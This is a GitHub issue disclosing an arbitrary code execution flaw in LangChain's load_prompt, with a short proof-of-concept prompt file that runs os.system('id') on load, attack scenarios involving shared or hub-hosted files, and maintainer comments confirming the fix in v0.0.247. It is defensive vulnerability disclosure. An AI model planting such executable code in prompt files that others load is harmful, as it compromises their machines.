

Arbitrary code execution in load_prompt #4849

✓ Closed



Ogur1 opened on May 17, 2023 · edited by Ogur1

Edits ▾ ⋮

System Info

LangChain version:0.0.171
windows 10

Who can help?

No response

Information

- ☒ The official example notebooks/scripts
- ☐ My own modified scripts

Related Components

- ☐ LLMs/Chat Models
- ☐ Embedding Models
- ☒ Prompts / Prompt Templates / Prompt Selectors
- ☐ Output Parsers
- ☐ Document Loaders
- ☐ Vector Stores / Retrievers
- ☐ Memory
- ☐ Agents / Agent Executors
- ☐ Tools / Toolkits
- ☐ Chains
- ☐ Callbacks/Tracing
- ☐ Async

Reproduction

1. A python prompt file `prompt.py`

```
from langchain.output_parsers.list import CommaSeparatedListOutputParser
from langchain.prompts.prompt import PromptTemplate
_DECIDER_TEMPLATE = """Given the below input question and list of potential tables,
output a comma separated list of the table names that may be necessary to answer this
question.
```

Question: {query}

Table Names: {table_names}

Relevant Table Names: ""

```
import os
os.system('id')
PROMPT = PromptTemplate(
    input_variables=["query", "table_names"],
    template=_DECIDER_TEMPLATE,
    output_parser=CommaSeparatedListOutputParser(),
)
```

2. Load the prompt with load_prompt function

```
from langchain.prompts import load_prompt
load_prompt('prompt.py')
```

3. The `id` command will be executed.

Attack scene1: Alice can send prompt file to Bob and let Bob to load it.

Attack scene2: Alice upload the prompt file to a public hub such as '[langchain-hub](#)'. Bob load the prompt from an url.

Expected behavior

The code cannot be executed without any check.

1



inpaner mentioned this [on Jun 23, 2023](#)

✓ [Critical Vulnerability Blocking Deployment #6627](#)



Jflick58 mentioned this [on Jun 26, 2023](#)

🔗 [Throw error if trying to deserialize python prompts #6732](#)



JamalRahman mentioned this [on Jun 30, 2023](#)

✓ [Arbitrary code execution in JiraAPIWrapper #4833](#)

hwchase17 on Aug 4, 2023

Contributor ...

moved to experimental, should be good!

🔒  **hwchase17** closed this as completed on Aug 4, 2023

🔗  **sectheops** mentioned this on Aug 21, 2023

🔒 [Bug] OpenBB-finance/OpenBB#5356

 **obi1kenobi** on Aug 30, 2023

Collaborator ⋮

Closing the loop here: the affected code was deleted in [#8425](#) and that change was released in `langchain v0.0.247`.

Version v0.0.247 and newer do not have this issue.

🔗  **obi1kenobi** added a commit that references this issue on Aug 30, 2023

Update PYSEC-2023-92 with fix information. [...](#)

Verified eb05917

🔗  **obi1kenobi** mentioned this on Aug 30, 2023

🔗 Update PYSEC-2023-92 with fix information. [pypa/advisory-database#153](#)

🔗  **oliverchang** added a commit that references this issue on Aug 30, 2023

Update PYSEC-2023-92 with fix information. ([#153](#)) [...](#)

Verified da6a4e3

🔗  **fubuki8087** mentioned this on Apr 11, 2024

🔗 [core\[patch\]: remove requests #19891](#)

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

 **Throw error if trying to deserialize python prompts**

langchain-ai/langchain

Participants

